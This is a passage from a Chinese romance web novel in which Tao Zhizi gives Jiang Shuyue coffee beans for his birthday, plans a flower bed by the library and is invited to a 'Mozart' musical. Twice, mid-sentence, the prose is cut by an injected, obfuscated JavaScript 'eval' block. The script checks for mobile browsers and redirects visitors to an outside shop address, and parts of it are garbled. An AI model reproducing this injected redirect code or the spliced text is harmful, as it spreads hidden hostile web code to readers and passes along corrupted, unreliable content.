陶栀子目光看向江述月,总觉眼前水雾很是阻挡她的视线。 她隔着那眼前翻滚的朦胧,混杂着咖啡馆内的复古爵士乐,迟迟开口: “为什么你看上去总是不开心?” 更准确来说,江述月不是不开心,只是不怒不喜,几乎没有情绪波动。 她清亮又柔软的声音,在雾气中发出时,被大量削减,以至于在江述月的眼神中,她判断出江述月并没有听清。 陶栀子又用手做话筒状,重复了一遍,这一次也不知他有没有听清,不过垂眸间,他的眼睫在眼眶处投下暗影。 江述月很多时候并不会直接拒绝他人的问询,而是直接表达一种沉默,或者他自己轻描淡写将话题一笔带过。 他伸出手,将玻璃杯中的冰块摇晃了一下,发出很小的脆响,低头慢条斯理地喝了一口。 放下杯子的时候,身旁的沙发传来小小的凹陷,他略微侧头,发现刚才还在对面的陶栀子不知什么时候已经坐到了他的身边。 沙发很宽敞,两人之间始终隔着礼仪范围内的空气墙。 陶栀子神神秘秘地从腿侧拿出一个包装好的纸袋,上面正是古树咖啡馆的LOGO,一棵白描的树干,没有叶子,枝干横生,是结实的姿态。 她将纸袋放在了江述月的面前,再悻悻收回手,双眼看着暗光下跳动的蜡烛火焰,陷入某种深沉思绪中。 这份沉重感在陶栀子的脸上是很罕见的,毕竟她每日都在不遗余力地大笑,有时候甚至张狂到露出两排洁白牙齿,嘴巴咧到可以看见粉色的牙龈。 不知道是不是因为并肩而坐的缘故,环境声变得没有之前那么嘈杂,以至于她确信自己每一句话都足以让他听到。 “很遗憾你的生日在冬日,我只能在七号公馆待三个月,大概能过完中秋吧。” “这是份不起眼的礼物,刚才我闻了全部的咖啡都之后选出我最喜欢的一款,找店长买了一包这款豆子送给你,算生日礼物吧!。” “往后还是开心些吧,毕竟日子这么美好,林城除了有点闷热没什么不好。” 陶栀子很识相地不去过多追问他的秘密,她站起身,隔着巨大桌面准备把自己水果茶挪到面前继续喝,还差一些,没够到。 江述月明白她的意思,略微倾身帮她把果茶拿了过来,顺便在底下垫了杯垫。 心里忽然有种被人照顾的错觉。 陶栀子坐了回去,道了谢后,开开心心继续喝自己的水果茶。 满满一大杯,大到要用两只手才能端起,里面的茶不是很多,但是各种热带水果填充了大半个杯子。 “咖啡豆,你给自己买了吗?” 江述月似是不经意地问道。 “没有,我不喝咖啡,只喜欢闻点咖啡味而已。” 陶栀子真心诚意地说道,生怕江述月对这份礼物有太多心理负担。 “你喝的时候我可以一旁闻一闻,这样才是双赢,我们都享受到了。” 脸的右侧传来江述月清润的嗓音: “这么早送我生日礼物?” “嗯……”陶栀子含着吸管,眼珠子往右侧一动,看着他,含含糊糊地答应了一声。 “这是你那里的习俗?” 江述月似乎对此闻所未闻,但是又保持着对文化差异性的尊重,没有显得大惊小怪。 “不算,这是我个人行为。” 陶栀子不得不停止继续喝饮料的动作,好整以暇地看着他,说道。 这一场简单的晚餐,陶栀子吃得不多就很快就抱了,江述月吃东西总是斯文,是多年来被浸润出的自然而然的文雅。 陶栀子将自己的盘子推开,腾出了空位,再用纸擦干净桌子,将手臂交叠,脑袋枕在手臂上,就这样趴在江述月身边,安安静静地欣赏着他用餐的模样。 只觉眼前的一切都让她躁动的心脏有片刻消停,听着爵士乐,闻着空气中淡淡的酒味和他身上木质香调,仿佛将森林中的空气都带到了眼前。 她的很多动作都不经思考,惯有的用直觉行动的风格。 明澈的双眼中反照着烛光,陶栀子就这样在一旁,欣赏着他的一举一动,尤其是仰头尝酒的时候,脖子前侧凸起的喉结,在白皙细腻的皮下上下一动。 带着陌生的异性的特征,竟由视线落入陶栀子的眼中。 或许她从未真正细想过为什么小说里总是描写男性的喉结和锁骨,她和其他男孩子日常相处中也从未注意到这些细节。 眼前的江述月,就好像是将文学中的对男主矜贵清介气质的抽象描写带入现实的人。 注意到她的眼神,江述月并没有表现出什么不自然,好像对她所有动作都习以为常般。 视线略微偏移,看向她,发现她的那盘主菜只吃了一半不到。 “这就吃好了?”江述月问道。 “嗯,再吃就太撑了,晚上睡不着。” 陶栀子伸手摸了摸肚子,保持着趴在桌子上的动作。 等服务生将桌子清理干净,江述月给两人点了喝的,陶栀子换了个姿势趴,将头转向反方向,后脑勺对着他。 “我先休息一下,养精蓄锐,不然一会儿走不动了。” 她总是容易疲惫,感到疲惫的时候不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13460712|141712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强撑,这导致她很多时候就跟骨头被抽掉了似的,随时随地可以找到地方稍微休息。 她的后背无意间触及到什么,应该是江述月放在桌上手臂。 江述月将手臂挪开,陶栀子也跟着手臂挪了一下,她闭着眼睛懒懒地给出了说法: “睡觉的时候身体的支点越多,越不容易做噩梦。” 也不知道是不是这句话起了作用,那只手臂没有继续挪开。 因为感受到他的手臂,就不怕一睁眼人没了。 陶栀子心满意足地在傍晚时分的咖啡馆趴在桌子上打盹,这一觉睡得短暂又踏实,再次睁眼的时候,仿佛已经过了一个世纪。 酒吧里的音乐早已换了好几首,墙上时钟显示,她不过睡了二十分钟。 她下意识在直起身之前摸了一把嘴角,确认自己没有失态才缓缓起身。 两人准备起身离开的时候,陶栀子开口提醒道:“别忘了我给你的小礼物。” 江述月将纸袋拿起,说道:“不会忘的。” 两人重新踏上街道的时候,林城的很多店都关闭了,空气中的暑气消散,带着一缕不经意的清风。 在环境寂静的时候,江述月开口问道: “你是不是不喜欢欠人情?” 这似乎是一句友好的推测,也像是打破沉默漫不经心的对话。 陶栀子如实点头,又补充道:“但是我送你礼物可不是为了还你人情。” 在江述月略带探寻的目光中,她解释道: “你待我好,所有待我好的人,我都会把眼下最好的送给他,这份咖啡豆,就是我能力范围内能给你的最好的东西。” 江述月眼神微动,漆黑的眸子看向她: “那你以前对别人好的时候,别人会用相同的真心待你吗?” 陶栀子眼中露出了诧异,似乎没有细想过这些,但细想后…… 眼底闪过失望,随即又乐观地笑了笑: “不是每个人都会回报我,但是当我表达友好的时候,本就没有指望别人也同等地待我,那样事情就过于复杂了。” “我精力有限,脑子也不爱动,容不得我去分析这么复杂的情况,尤其是人性。” 江述月又陪她一起走了一段,问道: “你觉得我会回报你吗?” 陶栀子愉快地说:“你和我一起共度过这些日子,已经在回报我了,我一直都是很容易满足的人。” 很容易满足的人,为什么还能从他人身上感知到那么多失望呢? 这是最先冲入江述月脑子里的一串逻辑。 “好吧,你呢,你出生于什么季节?” 江述月很会现学现用,这分明是陶栀子刚才问他的方式。 陶栀子眼底的笑意像按下暂停键似的,来回在空气中呼吸了几下,一时语塞。 “我不知道我的生日……” 为了避免追问,她想了个法子再次圆过去: “而且身份证上的生日好无趣,你不是说只要我想,每天都是生日吗?那我选个好日子再告诉你。” 两人走过一座古老的石桥,陶栀子先一步踏步上去,径直走在江述月的面前。 路灯从斜后方照来,陶栀子刚好踩在江述月的影子上。 她看向桥下的时候,河岸恰好亮起沿岸的河灯,一寸寸延伸到视线尽头,不知所踪的远方。 余光中,她感受到了江述月的目光。 15. 栀子花 公休结束后,公馆内恢复了平时的模样,时有人员来往。 但是江述月再也没有出现在池塘边上,陶栀子变得比以往更加忙碌,因为刘姨请了专业人员准备改造一下后花园,陶栀子也过去帮忙。 后花园面积很大,呈一个大体的“L”型将建筑群包裹,穿过一整个花园就能抵达人迹少有的藏书阁。 对于陶栀子来说,那里几乎无人造访,但是藏书阁前的小院子和周围的仿古廊道总是被清理得很干净。 为了不影响公馆内事务正常运行,清扫人员从早上四点就会开始打扫,整个公馆内能够在早晨看到打扫人员的大概只有刘姨和彻夜值班的保安。 在刘姨和园丁们一起规划花园的时候,陶栀子在一旁听着,他们考虑到的更多是庭院的植物的色彩,试图让院子里四季景色都分明。 在陶栀子听来,庭院中接近藏书阁的拐角处会进行留白,就是移栽简单的灌木就好。 但是陶栀子几乎每日经过那个拐角,总觉得只有绿色有些单调,便主动跟刘姨提,能不能由她来规划那处留白。 刘姨脸上露出意外之色,诧异道:“你倒是所有房客中第一个主动提出多干活的。” “我觉得那里色彩太单调了,藏书阁那么古色古香建筑前,只有孤零零几棵垂紫荆树,不如额外种点花卉增添点活力,也不费事。” 毕竟是陶栀子义务劳动,刘姨倒没有立刻答应她,而是说她需要请示下江先生是否同意。 陶栀子倒是乐见其成,她平日里说不上多勤快,这个决定一定程度上夹杂了她的一些私心…… 今日在庭院中足足折腾了整个下午,陶栀子干活的时候总是会刻意注意一下日头,她每天都去短暂见见江述月已然成了某种习惯。 担心今天要是去晚了,江述月下班回家了怎么办。 话虽如此,陶栀子还是矜矜业业和工人们一起干活到了下午六点。 江述月大概率已经下班了。 她看到时间的时候,疲惫的心早已凉了大半,总觉得一天不和江述月说说话就生活少了点什么。 尽管两人对话还是陶栀子说得多。 她心情有些低落地穿过一整个庭院,倒没有平时那么火急火燎。 又稍微在那片绿地上大致做了一下种花的规划,才沿着以往路线走到了藏书阁前的院落中。 她用脚有一搭没一搭地踢着一块花园里捡来的鹅卵石,本已不抱希望时,她视线闪过间…… 竟然发现藏书阁的门竟然还半开着。 陶栀子眼前一亮,马不停蹄地三两步冲如门内,将刚才的鹅卵石彻底晾在院中。 一转头,高处阅览室亮着灯带,空气中弥漫着袅袅茶香和旧书混杂的古朴气味。 她终是楼下看到修长的身影,略带懒散地半倚在真皮沙发上,专注地看着一本极厚的叫不出名字的书。 这里是越是隔绝般地安静,他如同一缕孤高的灵魂,身处林城最繁华之地,仍然离群索居,空寂得如与城市隔绝的游魂。 也许正是这份格格不入,才让陶栀子如目睹明镜般照见了自己。 陶栀子径直上了楼,也不知是不是木质楼梯比较费力的原因,每次她抵达江述月面前的时候总是有些发喘。 心跳只要略微加速,她的身体就有些吃不消了。 “我还以为你下班了,今天见不到你了。” 她说话间,搬来的蒲垫熟络地一屁股坐下,仰头看着江述月,气喘间用袖口大致擦了擦今日在太阳光下暴晒一下午出的薄汗。 之所以不坐沙发,是因为沙发离得太远,总觉得隔着冒热气的茶案不够将他的面容看清。 江述月轻轻合上书,将那本旧书拿离腿上,工整地放到一旁,像是命定的儒雅之人。 他的视线略微落下,抬手从身旁的木头匣子中抽出了一方纸巾,递到陶栀子面前,待陶栀子结果才缓缓说道: “我的时间比较自由。” 像是在说明他为什么这么晚还出现在这里的原因。 “谢谢。” 陶栀子接过纸巾,不好意思地将自己的袖口重新收了回去,错乱中左手腕处的银色链条倒是短暂吸引了江述月视线。 他落下的视线带着某种敏锐的力量。 陶栀子眼疾手快地将袖口用力拉下,飞快将那手链挡住,头脑飞快运转,说道: “今天帮忙打理后花园,我还看到藏书阁附近有一块不被规划的绿地,我准备在那里种点东西,刘姨很好说话,帮我去跟江先生申请了。” 话音落下,并没有如陶栀子预料的那样引来江述月的好奇心,她反而发现眼前江述月眸色愈发幽深。 她提心吊胆地看着他,像是一个用笑容掩饰着内心恐惧的罪犯,忐忑地等待着法官审判。 “你……不好奇我想种什么吗?” 陶栀子试探性地问道。 江述月用琥珀色的眸子凝视了她半晌,空气中流动的空气不知不觉带上了异样的凉意。 他缓着语调吐露两个字,像是极有耐心:“你说。” “林城处于亚热带季风气候,我想挑选一些在不同季节开放的花,比如秋天的丹桂和海棠,冬天腊梅和山茶花。” “山茶花刚好可以开到早春,花期长,春天有玉兰和风信子,夏天有木槿和栀子花……和我的名字一样……” 说到这里,她的滔滔不绝因喉头一紧,断了一瞬,立刻接着说,只不过当她和江述月四目相对的时候,语气弱了下去,带着很轻的颤抖。 “花瓣洁白,有暗香……” 她移开视线,拿起刚才的纸巾吸掉额角的汗珠,也趁着这个动作,将心里有些呼之欲出的情感重新关进的匣子里。 沙漠里的人,最容易死于暴雨。 正如同没有目睹爱的人,更容易在突如其来的爱与善中溺亡。 她如此小心着突如其来的暴雨,小心着汹涌的不可名状的强烈情感。 收拾好内心后,她听到耳边响起江述月的隐隐叹息。 江述月终于将视线从她的手腕处移开,浅问道:“你就在这里三个月,来得及种吗?” “能种多少算多少吧,剩下的,只能劳烦刘姨交给园丁了。” 陶栀子语气乐观随意,倒没有给自己半点压力的意思。 随即她目光闪闪,笑着问他:“对了,你今天有喝咖啡吗?我昨晚送你的豆子尝了吗?” 江述月回到了之前坐姿,腰后垫着厚实方靠枕,令他可以随时保持礼貌的坐姿,不露出半点散漫。 “你每天操心的事还挺多。” 又是花花草草又是咖啡的…… 他略微侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13460713|141712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,分明的指骨恰好轻点在刚才他阅读的书的钢印上。 陶栀子悻悻一笑,依旧保持着一脸期待。 总觉得在他面前的自己好像没有那么脆弱,会因为一些波澜不惊的语气而被吓退。 陶栀子算直觉动物,在江述月面前她没有感知到半点危险和不善,才会有勇气每日厚着脸皮来找他。 不知道是不是自己的厚颜换来了江述月的松动,只见他略微指向远处茶台。 “没发现今天多了些设备?” 那边正安放着咖啡研磨器,还有一个法压壶和金属手柄的咖啡杯。 陶栀子立刻起身去查看了一番,寻到了研磨器内残留的咖啡粉,还确认了一下香味,便立刻知晓他已经尝过了。 重新看向江述月的时候,却发现他嘴角似乎上扬了几分。 “早知道咖啡豆能让你开心,我就应该天天给你供应咖啡豆。” 好像目睹江述月情绪变化的她,反而比他开心得多。 江述月略微抚额,似是对她外露的情绪有些无奈,但也没有开口解释什么。 “让人开心的永远不是咖啡豆本身。” 他的话像是只说了一半,却让陶栀子严肃做思考状,去猜测这句话更深刻的含义。 刚想到一半,江述月清了清嗓子,忽然开口: “明天想去看音乐剧吗?” 刚回过神的陶栀子还以为自己出现了幻听,任凭她想象力如何天马行空也觉得这不像是江述月主动说的话。 “嗯?” 她凝神侧耳又确认了一遍,面对人生第一次音乐剧邀请,她激动到仿佛有种心脏跳动到即将飞出嗓子眼的感觉,一时间难以置信。 稳了稳心神,纵使心里有千百种对音乐剧的好奇,却只能有些遗憾地表示: “明天我可能要继续去后花园干活,可能也是六点结束,来得及吗?” “明天公馆放假。”江述月简短地说道。 “昨天刚公休完,又放假?”陶栀子对这突如其来的消息感到有些发懵。 他略微颔首,云淡风轻地解释:“避暑假,夏天随机休的。” “时间上我没问题,但是……票价多少啊?” 她有些迟疑地问了下,在价格问题面前,她的脸有些羞赧地发着烧。 “票已经买好了。”简单的回答,很奏效。 但是陶栀子在这节骨眼上,却一反常态开始优柔寡断起来:“需要穿什么衣服吗?我可能带来的衣服都比较随意。” “无所谓衣着。”江述月耐着性子回答道。 陶栀子踌躇了很久,才小心谨慎地问道:“我能不能问问为什么突然要一起看音乐剧啊……” “明天是德语版《莫扎特》今年的尾场,大剧院夏日最精彩的演出,也许能作为一份特别的生日礼物。” 他表达得有些含蓄,以至于过了很久,才听到陶栀子的欢欣声,充斥着这平日里死气沉沉的藏书阁中。 “原来你是要送我生日礼物!” 今日,最后的傍晚时光,陶栀子内心的狂喜难以抑制,整个人像一只刚被放出来的柯基幼崽在江述月面前走来走去,像是要欢呼也不是,要故作深沉也不是。 每个细胞都充满着欣喜,噔噔噔下了木质楼梯,脚步声格外轻快,让远方的落日也晃了晃。